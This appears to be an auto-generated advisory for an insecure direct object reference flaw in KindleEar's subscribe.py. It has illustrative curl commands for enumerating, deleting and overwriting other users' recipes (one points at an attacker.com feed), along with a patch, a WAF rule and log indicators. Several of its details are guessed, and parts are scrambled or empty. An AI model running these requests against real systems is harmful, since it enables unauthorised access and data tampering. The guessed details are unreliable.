CVE-2026-135430 — Cdhigh KindleEar — CWE-639
KindleEar 3.0.0 through 3.5.3 contains an insecure direct object reference vulnerability in application/view/subscribe.py that allows authenticated users to access other users' records by id without ownership checks. Attackers can enumerate sequential recipe ids to read recipe source containing credentials, delete recipes and custom RSS feeds, and overwrite saved site logins.
KindleEar 3.0.0 through 3.5.3 contains an insecure direct object reference vulnerability in application/view/subscribe.py that allows authenticated users to access other users' records by id without ownership checks. Attackers can enumerate sequential recipe ids to read recipe source containing credentials, delete recipes and custom RSS feeds, and overwrite saved site logins.
🎯 What is this vulnerability?
This vulnerability is a classic Insecure Direct Object Reference (IDOR), classified under CWE-639. The core technical flaw lies in the application's failure to perform ownership verification (authorization) on user-supplied object identifiers.
In KindleEar (a self-hosted RSS reader), the file application/view/subscribe.py handles requests related to managing RSS subscriptions (referred to as "recipes" in the CVE description). The application accepts an id parameter (likely via GET or POST) to identify a specific subscription record. While the application verifies that the requesting user is authenticated (satisfying PR:L in the CVSS vector), it fails to verify that the authenticated user owns the record associated with that id.
Consequently, any authenticated user can manipulate the id parameter to point to records belonging to other users. This allows for:
1. Confidentiality Breach: Reading the source code/configuration of other users' RSS recipes, which may contain embedded credentials (e.g., Basic Auth headers for private feeds).
2. Integrity Breach: Overwriting or modifying other users' subscription configurations, including saved site logins.
3. Availability Breach: Deleting other users' recipes and custom RSS feeds.
The CVSS vector AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L confirms that the attack is network-based, requires low privileges (any valid user account), requires no user interaction, and results in low impact across confidentiality, integrity, and availability.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Fingerprinting: The attacker identifies the target as running
KindleEar. This can be done by:
* Checking the - Account Acquisition: The attacker needs a valid, low-privilege user account. This could be obtained via: * Registering a new account if open registration is enabled. * Using credentials leaked from a previous breach. * Brute-forcing weak passwords (if rate-limiting is absent).
Server header or response headers for KindleEar.
* Visiting common paths like / or /login and looking for distinctive UI elements or meta tags.
* Checking the version if exposed in the footer or about page (though the CVE affects 3.0.0–3.5.3, so any version in this range is vulnerable).
2. Exploitation
The attacker authenticates to the application and obtains a valid session cookie (e.g.,sessionid). They then target the vulnerable endpoint in application/view/subscribe.py.Illustrative PoC (Note: Exact URI and parameter names are inferred from the CVE description; subscribe.py likely handles routes like /subscribe/ or /recipe/):
Assume the vulnerable endpoint is /subscribe/ and it accepts an id parameter.
Step 1: Enumerate IDs
Since the IDs are likely sequential integers, the attacker can iterate through them.
# Authenticate and get session cookie
curl -c cookies.txt -X POST "http://target:8000/login/" \
-d "username=attacker_user&password=attacker_pass"
# Attempt to access another user's recipe (ID 101)
curl -b cookies.txt "http://target:8000/subscribe/?id=101"If the response returns the recipe details (e.g., JSON or HTML containing the feed URL and credentials), the IDOR is confirmed.
Step 2: Read Confidential Data
The attacker parses the response to extract sensitive information, such as:
https://user:[email protected]/rss)Step 3: Modify or Delete
The attacker can send a POST request to modify or delete the recipe.
Illustrative Payload for Deletion (Assuming a delete action or method):
Option A: If deletion is via a separate endpoint or parameter
Assume the endpoint is /subscribe/delete/ or the same endpoint with a method=POST and action=delete.
# Delete another user's recipe (ID 101)
curl -b cookies.txt -X POST "http://target:8000/subscribe/" \
-d "id=101&action=delete"Option B: If modification is possible
# Overwrite another user's recipe with malicious feed URL
curl -b cookies.txt -X POST "http://target:8000/subscribe/" \
-d "id=101&feed_url=http://attacker.com/malicious-rss&title=Hacked"Note: The exact parameter names (id, action, feed_url) are illustrative. The attacker must inspect the application's HTML forms or JavaScript to determine the correct parameter names for the subscribe.py view.
3. Post-Exploitation
subscribe module. It does not directly grant admin privileges. However, if the application has other IDORs in admin panels, this could be a stepping stone, but that is outside the scope of this specific CVE.🌍 Real World Impact
🛡️ remediation & Mitigation
1. Upgrade
application/view/subscribe.py. If no fixed version is available, apply the manual patch below.2. Manual Patch (If Upgrade is Not Possible)
The fix must be applied inapplication/view/subscribe.py. The view must verify that the id parameter corresponds to a record owned by the currently authenticated user.Illustrative Python/Django Patch (Assuming Django framework, common for such apps):
# In application/view/subscribe.py
def subscribe_view(request):
# ... existing code ...
# Get the ID from the request
recipe_id = request.GET.get('id') or request.POST.get('id')
if recipe_id:
# Fetch the recipe object
try:
recipe = Recipe.objects.get(id=recipe_id)
except Recipe.DoesNotExist:
# Handle invalid ID
return HttpResponseNotFound("Recipe not found")
# *** CRITICAL FIX: Check ownership ***
if recipe.owner != request.user:
# Return 403 or 404 to avoid information leakage
return HttpResponseForbidden("You do not have permission to access this resource")
# ... proceed with view logic (read, update, delete) ...Note: The exact model name (Recipe) and field name (owner) must be verified against the actual KindleEar codebase. The key is to add an ownership check before any operation on the object.
3. Workarounds (If Patching is Delayed)
Illustrative ModSecurity Rule (Detect Sequential ID Access):
# Detect rapid sequential access to /subscribe/ with increasing 'id' parameter
SecRule REQUEST_URI "@contains /subscribe/" "id:100001,phase:1,pass,ctl:auditLogParts=ABCFHZ,ctl:auditEngine=On"
SecRule ARGS:id "@rx ^\d+$" "id:100002,phase:1,pass,ctl:auditLogParts=ABCFHZ,ctl:auditEngine=On"
SecRule TX:IDOR_SUSPICIOUS "@gt 5" "id:100003,phase:1,deny,status:403,msg:'Potential IDOR Enumeration Detected',log"Note: This rule is illustrative and requires tuning. A more robust approach is to monitor application logs for anomalous patterns.
4. Detection (IoCs)
/subscribe/ (or the relevant endpoint) with different id values in a short time frame.
* Example Log Pattern:192.168.1.100 - - [23/Nov/2026:10:00:01 +0000] "GET /subscribe/?id=101 HTTP/1.1" 200 1234
192.168.1.100 - - [23/Nov/2026:10:00:02 +0000] "GET /subscribe/?id=102 HTTP/1.1" 200 1234
192.168.1.100 - - [23/Nov/2026:10:00:03 +0000] "GET /subscribe/?id=103 HTTP/1.1" 200 1234* Look for POST requests to /subscribe/ with action=delete or action=update for IDs not owned by the user.
* If the application logs user actions, look for entries where a user accesses or modifies a recipe ID that does not match their own user ID.
* Monitor for queries that fetch recipes by ID without a corresponding
WHERE owner_id = <current_user_id> clause.⚠️ Urgency
Rationale:
[🤖 CVE Professor AI Security Engine]
FOFA Query